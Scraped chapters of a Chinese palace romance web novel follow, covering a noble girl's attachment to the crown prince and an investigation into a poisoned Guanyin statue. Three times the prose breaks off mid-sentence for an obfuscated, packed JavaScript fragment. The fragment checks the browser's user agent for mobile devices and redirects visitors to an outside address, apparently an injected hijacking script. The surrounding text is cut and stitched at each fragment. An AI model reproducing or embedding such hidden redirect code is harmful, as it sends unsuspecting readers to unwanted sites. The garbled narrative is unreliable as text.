奉雪宜脸上的笑容彻底消失了,俏脸含霜,“娘子如果想知道可以直接去开口问太子殿下,而不是随意损坏殿下的心爱之物。” 穆清芷被奉雪宜这么一刺,也冷了下来,问道:“你什么意思?” “我并没旁的意思。”奉雪宜淡淡地道,“我只是不想殿下难过。” 穆清芷心里酸酸的,心想难道只有你这么想吗?我也是这么想的。 我也不希望太子哥哥难过。 见穆清芷神色不明,奉雪宜凝重地道:“穆娘子,离太子殿下远一点。” “你!”穆清芷杏眼圆瞪,指着奉雪宜,脸色涨红。 她有什么资格来教训自己? 还敢让自己不要接近太子哥哥! 奉雪宜神色自若,那种冰冷的神态竟然诡异地有几分萧旻的影子。 是了。 她和太子哥哥是亲生的表兄妹,眉眼间有几分相似,是正常的。 穆清芷缓缓放下手,冷然道:“看在太子哥哥的面子上,这次我不和你计较。” 说罢转身而去,快步行走间红裙翻飞,翻身上马。双腿一夹,红马如箭驰出,侍从策马紧随其后,扬起滚滚烟尘。 熙熙攘攘的人流之中,乌黑的长发与朱红的发带相映,更显艳丽逼人。 一直到马蹄声远去,奉雪宜才收回目光。 另一边,穆清芷一路疾驰,脸颊微微发汗,在宫门前下马。 早有侍女在此等候,穆清芷接过锦帕,擦了擦脸,吩咐道:“走珍兽苑的那条路。” 侍女抬眸,有些惊讶,这条路离皇后的立政殿很远,靠近前朝。寻常是不会往那里走的。 但见她坚持,侍女点头答应,转身吩咐侍从起轿。 …… “陛下,薛仆射求见。” 案头的瓷瓶里插着几枝丹红的榴花,刚刚摘下来,混着殿内馥郁的龙涎香,气息霸道。 圣人闻言,摆手道:“朕还有事,抽不出空见他,让他回去。” “薛仆射说,他可以等到陛下处理完政务,什么时候有空,什么时候再再召见他。” “这个薛行敏……”圣人轻轻叹了一声,话语里颇为头疼。 自从薛昭仪小产,薛家人频频上书,一口咬定事有蹊跷,有人妄图加害龙嗣,要圣人明察。 “满太医署的太医都看不出问题,朕又能有什么法子。” 为了这件事,朝堂上都吵成一锅粥了。 萧旻跽坐在地,双手放在膝上,神情淡漠,没有接话。 好在圣人也是随口一说,转而又提起其他的事情。 事毕,萧旻起身出了甘露殿。 五月中旬已有暑意,宫道上榴花盛开,花枝斜斜探出来,开得累累垂垂,一片亮红。 萧旻视线微微一顿。 穆清芷站在假山之上,远远望着萧旻在宫道上越走越远,最终化成一个小点,走入日华门。 她吸了吸鼻子,心里难过得很,却拉不下面子去找萧旻。 难道她不去找他,他就不来找她了吗? 穆清芷虚握着石榴花枝的手渐渐收紧,掌心忽然一阵刺痛,疼得她差点要哭出来,才怔怔地松开手。 她的目光落在绯红的榴花上,不知在想些什么,良久道:“回去吧。” 穆清芷穿过门廊,先换了一身鹅黄衣裳,再去找姨母。 祝兰君正在翻看名册,见到她来,一边伸手将她揽进怀里,一边吩咐女官:“几位公主年幼,耐不得暑气,额外多加一匣冰。” 女官领命告退。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164499|196640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆清芷赖在祝兰君怀里,搂着她的脖颈,撒娇道:“姨姨,你有没有想我啊。” 祝兰君点头,将穆清芷这几日的吃穿用度细细问了一遍,这才放下心来。 她摸了摸穆清芷的脸,柔声道:“被晒得红彤彤的,外面热不热?” 穆清芷笑嘻嘻地道:“一进来就不热啦。”她气血旺盛,自小比旁人更怕热一些,每每夏日离不得冰。 侍女端着石榴进来,如同红玛瑙的石榴籽盛在素白的瓷碗里,红得耀眼。 穆清芷躺在祝兰君怀里,边吃石榴边与祝兰君说话。说着说着,忽然住口不言了。 祝兰君瞧着穆清芷怔怔地望着指尖的石榴籽,不由轻轻地推她,道:“想什么?” 穆清芷微微叹息,“我从前吃得都是东宫的石榴。” 她小时候经常和太子哥哥在东宫的苑林里玩耍,有一个院子专门种了许多石榴树。每次这个时候,她都会和太子哥哥一起摘石榴。 有些时候她等不及了,太子哥哥便亲手帮她把石榴剥开,一粒一粒喂给她吃。汁水溅出,满手都是石榴酸酸甜甜的香味。 祝兰君还说是什么事,当下笑道:“这就是东宫的石榴啊,太子昨日送了许多进宫。” 穆清芷哪里想得到。石榴不是什么稀罕物,哪里值得萧旻专门派人送进宫,一时间又惊又喜。 原本没什么稀奇的石榴籽在她眼里,突然变得可爱起来,捧着瓷碗几乎舍不得吃了。 心里只有一个念头:不单单是自己想念他,太子哥哥也想着自己。 否则他为什么单单送东宫的石榴。就算是为了表孝心,干什么不送天底下最出名品相最好的河阴石榴。 穆清芷原本满心郁闷,此时心结解开,舒畅不已。星眸流转间,说不出的欢欣雀跃。 祝兰君见她欢乐的神色,也不禁微笑,种种的柔情爱意涌上心头,盼着她的沅沅永远无忧无虑才好。 “下个月就是你的生辰,你有什么想要的?” 穆清芷摸着胸前的明珠,这串明珠是她五岁生辰祝兰君亲手给她戴上的,日夜从不离身,已有十年了。 思索片刻,她搂住祝兰君的脖颈,语气快活:“我没什么想要的东西。”她活了十五年,想要的东西只要说一句便有无数人争相恐后地送到手边。 便是再珍稀再难得的宝物,在她眼里,也不值一提。 “这怎么行。及笄是女孩子一辈子的大事,一定要办得到风风光光才好。” 祝兰君摸着穆清芷的脸颊,目光一寸寸地描摹过她的眉眼,心念微动,忆起年少时与姐姐祝湘君在沅水边玩耍的情形。 那时候自己在水里捉些小鱼小虾来玩,姐姐则坐在水畔的大石上,看着自己歪头浅笑,不由微笑。 随即想到此生姐妹永无相见之日,当年的温馨愉悦又化作了无限的惆怅,脸上的笑容也淡了。 穆清芷听到姨母提起及笄,想起什么,脸颊忽然淡淡粉红,垂下头去。 半晌,她小声地问道:“姨母,太子哥哥也会来吗?”萧旻作为储君事务繁忙,抽不出空来参加她的及笄礼也是正常。 皇后捏了捏她的脸颊,“你就这么想要他来?” 穆清芷点头。 就像姨母说的,及笄那么重要的日子,她当然希望太子哥哥能来。 祝兰君刮了刮她的鼻子,温声道:“既然沅沅想要他来,那就让他来吧。” 就在这时,侍女悄声步了进来,道:“娘娘,同州来人了。” 祝兰君笑容一敛。 8. 08 五月十五,太子依循惯例晨参定省,入两仪殿觐见圣人,再至立政殿向皇后请安。 立政殿内并不熏香,刚刚采下的石榴花枝插在瓶中,艳丽的花蕊还含着露珠,淡淡花香。 祝兰君坐在上首,温言问候,萧旻一一回答,神色恭敬。 侍女捧来莲子羹,汤色清亮,莲子圆润如珠。 “这是沅沅千里迢迢从骊宫带回来的莲子。她亲手摘的,亲自剥的。你尝尝。”祝兰君笑道,提起这事,神色无比自豪。 萧旻舀了一勺,忽然顿住,一股苦涩的味道在口腔中弥漫开来。 ——莲子心没有剔干净。 “沅沅这孩子,非说要亲自动手。许是一时大意了。”祝兰君解释道,虽然是埋怨的口吻,话中回护之意明显。 “莲子心祛暑热,清心火,你平日也可以吩咐身边人煮一壶。” 萧旻点头,神色平静,又饮了一口。这一次入口不再是莲心的苦涩,而是莲肉的清甜。 “沅沅去哪了?”祝兰君放下碗,询问左近的侍女。“今天一早就没看到人。” “回娘娘,娘子正在彩丝院玩呢。” “把她叫回来。”祝兰君向萧旻睨了一眼,“你们两个好久没见了吧。” 足足十天。 他们有十天未见了。 过了一会,侍女去而复返,面露难色,小声地道:“娘子说她还没玩够,不想回来。” “胡闹!” 祝兰君沉声道:“她的脾气越来越大了,让我们一群人在这里干等她。” 侍女跪了一地,萧旻起身敛衽行礼,说道:“皇后息怒,沅沅性情直率,并非有意顶撞,不如让我去一趟。” 祝兰君见到目的达成,怒气登收,满意地道:“如此甚好,有劳太子了。” 彩丝院坐于归真观后,庭中琪花瑶草,檐下古柏乔松,初夏日光照耀下,彩蝶流连,蝉声阵阵。 秋千架上缀满五彩的鲜花,穆清芷坐在上面,乌黑的长发由一根红色丝带束起,淡粉衣衫,裙裾轻轻飘荡。 穆清芷闭着眼睛,感受到熏风迎面柔柔吹来。 阳光洒在她的身上,鹅黄的罗裙闪闪发光,如同金子织就。 “参见太子殿下。”忽然,侍女低头福身,齐声说道。 穆清芷心头一喜,连忙睁开双眼,一道金光在眼前闪了两闪。 萧旻站在数尺之外,金冠白衣,面如冠玉,以一条朱红绦带束腰,腰肢劲瘦,清俊挺拔。 一声开心雀跃的“太子哥哥”几乎就要脱口而出,却又被咽了回去。 穆清芷仔细注视着萧旻脸上的神情。云淡风轻,与他平常并无区别,没有瞧见半点见到自己的喜悦。 一瞬之间种种委屈涌上心头,想起初五那晚他弃自己而去,不由扭过脸去,不肯正眼瞧他。 萧旻缓缓走来,微风先将他身上的气息先送了过来,瑞龙脑香清冽却又霸道,缠缠绵绵地将穆清芷萦绕。 “皇后唤你,你怎么不来?”萧旻问道,阳光从他身后照来,看不清脸上神色。 往常他进宫请安,她一定早早陪在皇后身边,双眼亮晶晶地期盼他来。 原来是姨母命他来的。 穆清芷心头一酸,险些掉下泪来,脸上却犹自强撑着不露出来,赌气地道:“我还没玩够呢,我不想回去。” 她转头看向身旁的侍女,“你快过来给我推秋千。”双手紧紧抓着绳索,足尖点地,想要让秋千动起来。 侍女为难不已,迟迟不敢动作。 萧旻吩咐道:“你们都退下。”周围的内侍宫女立刻照办。 “不许走!” 穆清芷更加气了,语带哭腔,眼看着宫人散去,叫道:“你们都欺负我,我再也不理你了。”突然站起身来,向花丛深处奔去。 “沅沅!” 穆清芷充耳不闻,发足狂奔,在花从中没头乱闯。转了几个弯,一抬起头,不知跑到哪里来了,见到水边的一座凉亭,便走了进去。 萧旻追到亭子里时,只见她正趴在栏杆上,背朝自己,毫无动静。 此时天气炎热,她又一阵奔跑,长发凌乱披散在背后,浅粉衣衫已被汗水湿透。 穆清芷只觉得肩上一沉,原来是萧旻结下外衫,给她披上,后知后觉地反应过来。 登时脸颊绯红,讷讷说不出一句话来。 萧旻叹了一口气,道:“你不想见我,以后我便少出现在你面前。” 穆清芷一呆,在心里道她什么时候不想见他了。她明明是,日夜盼着他来啊。 他一点也不明白,她究竟是为什么难过,为什么伤心。 难道她不去见他,他就不主动来找她吗? 穆清芷越想越悲,趴在栏杆上忍不住哭了出来,眼泪似断线的珍珠一般,簌簌而落。 “你污蔑我,你污蔑我,我说什么时候说过……” 她一落泪,似乎上天也看不过眼,一眨眼的功夫天色昏暗,乌云四合,紧接着轰隆一声惊雷,大雨突至。 穆清芷被雷声吓了一跳,身子一颤,抬起头来,雨丝吹拂在脸上,丝丝清凉。 神志突然清明了几分。 她忍不住伸出手,想要让雨水痛痛快快地淋在身上,驱散炎热的暑气。 “过来。” 萧旻一伸手,穆清芷便身不由己地站起来,连连后退。 “我还没淋够呢。”穆清芷叫道,想要甩开萧旻的手。 萧旻紧紧抓着她的手腕,不让她冲进雨里,说道:“站好。” 穆清芷挣脱不开萧旻的掣制,抿着唇,面上透露着一股倔强的神气。 萧旻卸了一些力道,握住她的手腕,平淡道:“跟我回去。” 穆清芷哼了一声,背过身,不看萧旻。 暴雨打在凉亭的琉璃瓦上,顺之而下。亭子四面围成一道水帘,自然而然地划分出两个世界。 穆清芷的裙角也被雨水打湿,方才披在身上的外衫慌乱中也掉在地上,两条藕似的胳膊浸在深深的寒意里。 穆清芷情不自禁地打了一个寒颤。 身后许久没有动静。水汽渐浓,盖过了熟悉的气息。 他走了吗? 他又像上次一样,把自己抛下了吗? 穆清芷的眼睛漫上水雾,像偷看般地回头匆匆一瞥。 然后,怔在了原地。 他就静静地站在她的身后,从未离开。 萧旻注视着她,道:“疼吗?” 穆清芷起初还没反应过来,怔怔地看着萧旻。过了一会,才后者后觉地感觉到疼了。 她自己都没发现。 方才一味地横冲直撞,衣裳都被树枝勾破不少,手臂也划了几道痕迹。 疼得眼泪都在眼眶里打转。 啪嗒一声,一滴泪掉在了地上。 “疼死了!”穆清芷锤了一下萧旻的胸口,眼泪簌簌落下,连带着许许多多的委屈,都一并发泄出来了。 回到立政殿,侍女要拥着穆清芷入殿重新梳洗打扮,她连忙扯住萧旻的衣袖,叮嘱道:“太子哥哥,你等等我,我很快就好的。” 萧旻看着她。 朱红发带披在肩上,脸颊红扑扑的,泪痕未干,仰着头看着萧旻,一点也看不出方才又哭又闹的混世魔王样。 侍女道:“娘子快进去梳洗吧,太子殿下不会走的。” 穆清芷仍然不放手,直勾勾地盯着萧旻。直到他淡淡颔首,这才喜笑颜开,不用侍女催促,自己就跑进寝殿了。 她的声音清脆,轻盈欢快:“快来给我梳头发。” “太子哥哥,你真的不留下用午膳吗?” 穆清芷换好衣裳,从内殿转了出来,坐到祝兰君的身边,问道。 不待萧旻回答,祝兰君就拍了拍她的手背,加重语气:“沅沅。” 穆清芷撅起嘴,不太高兴。 就在这时,内侍进来,隔着一道珠帘行礼问好,道:“殿下,几位大人正在东宫等候议事。” 闻言,祝兰君道:“太子事务繁忙,本宫这里一切都好,不必久耽,快去吧。” 说完对穆清芷道:“好了。你去送一送太子。不许耍小性子了。” “穆清芷吐了吐舌头,与萧旻一起行礼退下。 祝兰君注视着两人相携而出的背影,身侧的侍女将方才的事情从头到尾说了一遍,最后道:“太子殿下虽然性情冷峻,但对娘子来说,是终生可托的良人。” 她服侍皇后多年,亲眼看着穆清芷从襁褓中粉雕玉琢的婴孩渐渐长成活泼明媚的少女,终日哥哥长哥哥短地叫唤。 而太子冷漠少言,但也可以看出对穆清芷的不同。 祝兰君不置可否。如今她稳居中宫,太子并无母族助力,自然是恭敬有加。 待到日后登临九五,才是真正见人心的时候。 “同州有消息了吗,当年服侍过奉德妃的婢女找到了吗?” 侍女摇头道:“还没有。” 祝兰君长长叹息,终究还是百密一疏,以至于今日贻患无穷。 另一边,穆清芷摘下一朵含着雨水的石榴花,别在鬓边,连声问道:“好看吗?可爱吗?” 开得艳丽如火的榴花,与白里透红的脸颊相映,一时分不出花可爱,还是人可爱。 萧旻反应平常,淡淡地应了一声,穆清芷有些泄气。 过了一会,眼珠一转,冒出一个狡黠的想法。 她站住脚步,道:“太子哥哥,你快低头。你头上落了一片叶子,我帮你摘下来。” 萧旻转眸,看向跟随在身后的内侍。 内侍正要开口,忽然见到穆清芷挤开她,踮起脚就要往萧旻头上够。 他身形颀长,寻常男子都要比他要矮一个头,穆清芷只到他的胸口。 萧旻忙伸手扶住她,沉声道:“别动。”低下头去。 “好了。”穆清芷的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可随即想到他竟然不记得这件极重要的事,穆清芷猛地甩开萧旻的手,坐倒在地,说道:“你一点也不把我放在心上,干什么要叫人家的小名。” 沅沅这个名字,只有对她好的人才能叫的。 穆清芷越想心头越酸,刚刚收起的眼泪,又流出来了。 宫人们纷纷低下头,不敢抬头看一眼。 萧旻无奈,俯身捧住穆清芷的脸颊,为她拭泪。 他的指腹因为常年读书习武,有着一层茧子,抚在穆清芷的脸上,微微刺痛。 “我知道。” 萧旻脸上神情淡漠,殊无半分柔情,却让她的心跳一声快过一声,一声大过一声,一时忘记了哭泣,忘记了难过,怔怔地看着他。 “六月十七,是你的生日。” 这一句话,瞬间让穆清芷破涕为笑,跳起来扑进萧旻的怀中。 “那你来不来?”不待萧旻回答,穆清芷强调道:“这可是我的及笄礼。” “我得离京一趟。” 穆清芷扯着萧旻的袖子,追问道:“去哪里?要去多久?能赶回来吗?” “短则一两日,长则月余。”萧旻道,“说不准。” 穆清芷垂下脑袋,话语里说不出的失落悲伤:“这可是我及笄的日子啊。”她多想太子哥哥能陪在她身边。 萧旻凝眸注视着她,眼中情绪复杂,最终什么也没有说。 “好吧。”穆清芷撅起嘴,又问道:“你要去哪里啊,很远吗?” “同州。” 不算远,也不算太近。 不眠不休,一夜便可从同州驰至长安。 穆清芷双手合十,闭上眼睛,诚恳地道:“那我日日都要求菩萨保佑,保佑太子哥哥早些回来。”他还没离开,她就盼着他回来了,盼着他能来她的及笄宴。 分别时候,穆清芷又依依不舍地叮嘱道,“太子哥哥,你一定要早点回来啊,一定要赶在六月十七前回来啊。” 萧旻微微颔首,看着穆清芷一步三回头地离开。 走了几步,穆清芷忽地转身跑了回来,踮起脚尖,伏在他的耳边,悄声地道:“我等你来。” 一定会来的,对吧? 一定会来。 见到穆清芷终于离开,内侍连忙走过来,道:“殿下,奉娘子在丽正殿等您,说有要事。”根本没有什么属僚等候议事,只是脱身的说辞。 萧旻望着穆清芷消失的方向,神情淡漠,伸手将发上的东西摘了下来。 ——那是一朵艳丽的榴花。捻在指尖,艳丽的红与清冷的白,形成极致的反差。 萧旻松手。花便落在了地上,染上了尘埃。 一地如火的榴花中,这一朵也并没什么稀奇。 9. 09 丽正殿的门虚掩着,屋内窗明几净,茜红榴花隔窗映在豆绿的软烟罗上。 奉雪宜坐在小几旁,捧着一本古籍凝神细读。 “表哥。”见到萧旻进来,奉雪宜放下书卷,起身行礼。 啪的一声,有东西掉在了地上。 奉雪宜弯腰拾起,双手捧住,走到萧旻面前,“刚才有绣娘将这个送过来了。” 素白的缎面上,金线织就一朵花蕊金灿的山茶花,丝毫看不出曾经破损变形的样子。 内侍上前接过,收了起来。 奉雪宜收回手,道:“我见过小姨从前的衣物,经常绣着金茶花的纹样,可惜我娘不让我把小姨的遗物带来。所以我上京的时候,耶耶才特意缝制了一个相似的香囊,叫我交给你。” 她口中的小姨,正是萧旻的生母奉德妃。 萧旻淡淡听着,神情平静。 二人往丽正殿而去,奉雪宜微微落后萧旻一步,缓缓道:“表哥,薛昭仪之事不是天意,而是人祸。” 四下里寂静无声,熏风带着暑气,吹入长廊。 奉雪宜的话语虽轻,却有千钧之重。 “你见过薛昭仪了?” 奉雪宜“嗯”了一声,续道:“下药的人手段很高明。不是红花麝香之类的药物,而是一种极为特殊的香。此香闻之心旷神怡,耳清目明,但对于有孕之人却是大忌。” “薛昭仪意外小产,便是因此。” “是从何处下手?” 薛昭仪防备甚严,究竟是哪里百密一疏。 奉雪宜缓缓跨过殿门,抬手指向大殿中供奉的白玉观音像,笃定道:“——它。” “白玉日日浸染香气,雕成的观音便也沾染此香,孕妇日日嗅闻,必然身体虚弱,不幸流产。然而太医如何勘验,也查不出异样。” 高高的佛龛上,白玉观音手持柳枝净瓶,低眉微笑。本是宁静慈悲的神色,此时却显得无比诡异。 皇后笃信佛教,日日焚香拜佛,每每嫔妃有孕,常送一尊白玉观音,保佑皇嗣平安降生。 奉雪宜转着左手的银镯,道:“此香世间少有人知,故而原料极为难觅,必定要在商埠繁盛之地寻找。” 如果不是她对这香太过熟悉,恐怕也发现不了。 奉雪宜命宫人拿来京畿附近的舆图,指着长安东北方向道:“长安虽为天下中心,但耳目众多,稍有不慎都会引人注目。 放眼周遭,除了长安,商埠最为繁盛之地,便是同州了。而且……” 奉雪宜转过头,看着萧旻,道:“前几日,宫里的线人不是递了信出来,说皇后派人暗中去了同州。” 如今薛党气势正盛,皇后失德的言论沸沸扬扬。 只要祝皇后心一急,螳螂捕蝉,黄雀在后。她们就可以顺藤摸瓜,找出当年的旧事。 “表哥,我想亲自去一趟同州。”奉雪宜道, “不。”萧旻断然拒绝,“小心打草惊蛇。” 这个时候,奉雪宜无缘无故去同州,出,必定会激起皇后的疑心。 “那该怎么办。东宫的属官幕僚不适合去,我也不行,究竟还有谁可信?”奉雪宜急切地道,“此时就是天赐良机,一旦错过,不能再得。” “不如冒这个险。”奉雪宜掷地有声地道。 她去同州,祝皇后纵然会起疑心,但也不敢轻举妄动。就趁这个间隙,一举找到扳倒皇后的证据。 萧旻缓缓踱到桌案边旁,道:“我已有安排。” 他的语气沉稳,仅这一句话,一切尽在掌中。 奉雪宜沉默,顺着他的视线望去,桌案上是如山堆积的奏疏,并没有什么不同。 “是谁?”她问,有点不放心。 不及萧旻回答,殿外响起细微的脚步声,内侍毕恭毕敬的声音响起:“殿下,宫里来人了。” …… “太子去了同州?” 祝兰君的手一抖,温热的茶水洒在手背上,侍女连忙上前擦拭。 她放下茶盏,柳眉拧起,微微思索,问道:“究竟是怎么回事。”竟然一点消息都没有。 “回娘娘的话,昨晚同州大水,圣人震怒派太子殿下去查清楚。” 去岁才修筑的河堤,今年夏汛便被冲垮,骇人听闻。 祝兰君正要再问,忽然一道鹅黄身影从殿外奔了进来。 “姨母,我回来啦!” 穆清芷隐约听见侍女说的话,好奇问道:“谁惹圣人生气啦?” “没人惹他生气。圣人是为同州的事情忧心操劳。”祝兰君道。 穆清芷喝了口水,“所以太子哥哥才要去同州吗?” 祝兰君微微一愣,直视她的眼睛,严肃地道:“你从哪里听来的。”太子离京的消息她也是刚刚得知。 “是太子哥哥和我说的啊,就是今天早上的事。” 祝兰君问道:“他还和你说了什么?” “没什么啊,就说了他要离京的事情。”穆清芷吐了吐舌头,搂着祝兰君的胳膊撒娇,“我饿了,想用晚膳啦。” 祝兰君向侍女望了一眼,侍女顿时心领神会,退了下去。 传膳的间隙,穆清芷吃着樱桃酥山,双脚乱晃,问:“太子哥哥为什么要去同州啊?” 祝兰君便将同州水患的事情简略说了,穆清芷顿时花容失色,猛地站起。 雪白的酥山打翻在地,樱桃骨碌骨碌滚到了桌角。 “你要去干什么?”祝兰君拉住她的手。“马上要用膳了。” “不行,我得去找太子哥哥。那么危险,太子哥哥怎么能去呢?” “他是太子,又是圣人之意,这是他的份内之事,怎么不能去。你坐下。” 穆清芷不肯。 祝兰君见状,一面起身为她擦拭手上的酥油,一面道:“你现在去也晚了,太子恐怕早就离京了。” “不要嘛。”穆清芷仰起头,露出可怜兮兮的眼神。“姨母你就让我去看嘛,求求你了,说不定还赶得上。” 祝兰君有些无奈,左右去趟东宫不是什么大事,道:“带些点心路上吃。” “姨母你真好,我很快就回来。”穆清芷在祝兰君左脸颊亲了一口,随后咻的一声窜了出去。 去东宫要两刻钟的功夫,她一路奔跑,缩短了一半多。 “穆娘子,您怎么来了……”在日华门当值的内侍话还没说完,穆清芷便直接从他身旁掠过。 此时天色昏暗,东宫守卫隐在夜色中,屹立不动。 穆清芷向着丽正殿提裙狂奔,裙摆扫过青石小路,沙沙作响。砰的一声,穆清芷被一块鹅卵石绊倒,摔在了地上,血丝从掌心渗了出来。 她立刻爬起来,拔腿继续向前跑。 长廊尽头便是丽正殿,穆清芷放慢脚步,理了理头发,缓缓走去。 东配殿的门虚掩着,有烛光从里头透了出来。穆清芷本以为是当值的内侍,随意向里面一瞥,便再也挪不开眼。 ——煌煌烛光下,奉雪宜一身素白,手腕脖颈上的银饰泛着美丽的银光,宛若青女素娥。手里捧着一本书,正低头读着。 哗啦一声,已翻过一页,穆清芷如梦初醒,心想她怎么会在,这可是太子哥哥的东宫。 她来了多久? 奉雪宜站起身,将书放回架上。走动间身上的银器晃动,叮叮作响。 眼看她要出来,穆清芷下意识想躲,刚一动作,方才摔倒的膝盖猛地一痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆清芷看着侍女,又问了一遍:“哪一本书?” 侍女犹豫了一下,还是从书架上拿了下来,交到她的手中。 是一本兵书。 穆清芷翻开,入目是太子哥哥的字迹,遒劲而不失飘逸,不时在边角上批注。 她细细读来,虽然不觉明厉,但想到这是自己的太子哥哥,脸上不觉微笑。 忽然,她微微翘起的唇被抿成一条直线。 书里夹着一张浣花笺。 穆清芷将它拿了起来,放在烛下仔细端详。 淡粉的纸,暖黄的光映照得它有些发黄,纸面拓着芙蓉花纹,更显精美艳丽。 不会是太子哥哥的。 穆清芷忍不住将它靠近烛台,想要看得更清楚。 烛火跳动,只差一点,撩动的火舌就要烧上花笺边缘了。 “娘子小心。”侍女出声提醒,有些心惊胆颤。 穆清芷眼珠漆黑,微微转动,将信笺放回了原处。 不会是太子哥哥的,那会是谁的? 是给谁看的呢? 穆清芷紧紧地盯着这枚信笺,视线如有实质,仿佛要给它看穿出一个洞,一直盯到眼睛酸痛。 这才眨了眨眼。 身侧许久没有动静,侍女偷偷抬头,向穆清芷一瞥。 只见花笺上突兀一道水痕,洇得纸上的芙蓉更显艳丽。 10. 10 深夜,书房内烛火通明。 萧旻写完有关同州水患的奏疏,搁下笔,按了按眉骨:“送去长安。” 内侍领命而去,走到门口时,忽然被叫住。 “殿下还有什么吩咐。” 萧旻睁开双眼:“长安有来信吗?”他来同州已有十余日,每日只有朝堂之间的文书往来。 内侍摇头。 萧旻再问:“这几日驿站恢复如何,信件是否顺畅?” 内侍以为太子是在担心奏疏不能顺利到达陛下案头,连声保证:“殿下安心,驿路大半恢复。明日一早,奏疏就会出现在陛下案头,绝不会延误半点。” “退下吧。” “是。”内侍应道。 关门时不经意一瞥,只见太子殿下左手支额,烛光下一张清癯俊美的脸孔,鬓若刀裁,目如点漆,只是长眉微蹙,有些憔悴。 怪不得长安的高门贵女都将一颗芳心系在了太子殿下的身上。 内侍暗暗感概。 七月初一,大慈恩寺。 穆清芷将平安符挂好,后退几步,抬头望着挂在树上的红绸。 风吹过,枝叶间的红绸轻轻摇晃,簌簌作响,承载着人世间一切美好的祈愿。 视线放远,决云的身影在云层中穿梭,穆清芷不禁一笑,正要呼唤,却突然听见一声激昂的马鸣声。 等到穆清芷赶到,原本清静的佛寺山门变得喧哗吵闹。 侍卫正围攻着一个黑衣郎君。 只见他左手轻轻一推,右手稍稍一碰,如同闲庭信步地行走,刀剑毫不近身。 “娘子,有人偷马。” 穆清芷抽出腰间的长鞭,猛地朝着那人背后甩落,干脆利落。 预料之中的皮开肉绽没有出现,他虽然背朝自己,后心却如同生了双眼一般,反手抓住了鞭子,向前一拽。 一股巨大的力袭来,穆清芷身不由己地向前俯冲,眼看就要摔个鼻青脸肿之际,那人也转过身来。 是个小娘子。 他微微一怔,伸手向穆清芷肩上一按,穆清芷登时站稳。 侍卫看到穆清芷落入这贼人手里,纷纷住手,生怕他伤了穆清芷。 “偷马贼,卑鄙无耻,你要是敢动我一根毫毛,你就完蛋了!” 穆清芷脸颊涨红地骂道。一半是自己学艺不精的羞愧,一半对这人的愤懑。 “那匹小红马是你的?”黑衣郎君收回手,微微一笑。 穆清芷见他说话斯文,面目俊美,朝着自己微笑时说不出的赏心悦目,于是扬起下颌:“那当然啦。”说着,把躲在远处散步的小红马叫了回来。 黑衣郎君仔细看了一会,夸道:“这匹小红马是我见过品相最好的马之一。” 穆清芷不高兴地道:“不是之一,就是最好的。” 她道:“这可是我……我哥哥送给我的。从大宛来的汗血宝马,天底下没有第二匹,没有任何马比得上。” 黑衣郎君看了她一眼,口中发出一声唿哨。 山下立刻出现嘚嘚的马蹄声。 滚滚烟尘中,一匹黑马奔驰而来,四蹄轻盈,神骏非凡。片刻功夫便已经驰到眼前,陡然站住。 寻常马匹疾驰过后皆要小跑一阵方能停下,可这匹黑马却收放自如,十分罕见。 穆清芷情不自禁地道了一声:“好神气的马!” 黑衣郎君闻言,神采飞扬,笑道:“我没骗你吧。” 黑马不住地发出柔和的嘶鸣,一双眼睛极有灵性地望着她。 穆清芷忍不住上前,抚摸它柔顺的鬃毛。 “我刚才就是想摸摸你的小红马,结果……”他说到一半,无奈地道。 穆清芷噗嗤一笑,“原来是这样。” 她转身摸了摸小红马,贴在它耳边说了几句话,这才说道:“我既然摸了你的马,你也摸摸我的小红马吧。” 过了一会,山下道路又出现数匹骏马,马上之人皆是黑衣劲装,风尘仆仆。 “终于赶上来了。”黑衣郎君笑道,拍了拍黑马的头,“我们得走了。” 两匹马儿同时发出低低的嘶声,相互舔舐鬃毛,这才分开。 他纵跃上马,对着穆清芷笑道:“有缘再见。” 穆清芷看着他的凤眼,忽然产生一种熟悉感,但转瞬即逝。 告别后,黑衣郎君一提马缰,黑马如同离弦之箭,向前直窜出去。 穆清芷牵着小红马,站在山间目送他离开。 忽然,小红马前足扬起,发出一声长嘶,黑马一边疾驰,一边应和。 马上之人也回过头来,朝着穆清芷挥了挥手,眉目间英气尽显。 直到再也看不见一人一马的身影,穆清芷摸摸小红马低垂的脑袋,“别难过啦,我带你去玩。” 用过午饭,穆清芷策马回宫,经过朱雀大街时,侍女忽然道:“那不是奉娘子吗,她怎么一个人出城?” 只见奉雪宜身着黑裙,身上佩戴银环银链,与中原打扮迥异。 穆清芷并不答话。 过了一会,她才道:“派几个护卫跟着她。” “确保她安全就回来。” 最近同州水患,流民四起,又与长安毗邻,生了不少乱子。 姨母最近特别叮嘱她,不要离开长安。 穆清芷吩咐完,转过街角,朝着东北角的兴安门而去。 途经东宫的玄德门,穆清芷停下脚步,望着紧闭的朱红宫门和左右拱卫的石狮,喃喃道:“太子哥哥,究竟什么时候回来……” 她的声音很轻,侍女没有听清,只是疑惑地看着穆清芷:“娘子说什么?” “没什么。” 穆清芷抬步离开,天色暗下来,笔直的宫道幽深仿佛没有尽头。 跨过安礼门,便是东海池。 她小时候常到这里玩耍,但有一次不小心落水,渐渐就不来了。 